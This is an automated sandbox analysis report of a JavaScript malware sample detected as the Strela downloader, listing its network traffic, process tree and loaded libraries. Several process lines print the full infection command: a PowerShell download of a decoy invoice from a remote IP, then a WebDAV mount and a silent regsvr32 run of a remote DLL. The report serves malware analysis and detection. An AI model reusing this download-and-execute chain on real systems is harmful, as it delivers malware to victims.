Source: global traffic

TCP traffic: 192.168.2.10:49759 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49742 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1334005002.000001A33BFF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1389460410.0000023B22EFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1389460410.0000023B22F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 00000007.00000002.1389460410.0000023B22EC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.2620675399.000001AA1C600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000009.00000002.2620756047.000001AA1C654000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1391253654.000001AA1C420000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8108, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1297823757234143258.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7192:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w3p2g3bm.lcw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1632,i,3928676631812496068,8898472451381877635,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1632,i,3928676631812496068,8898472451381877635,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
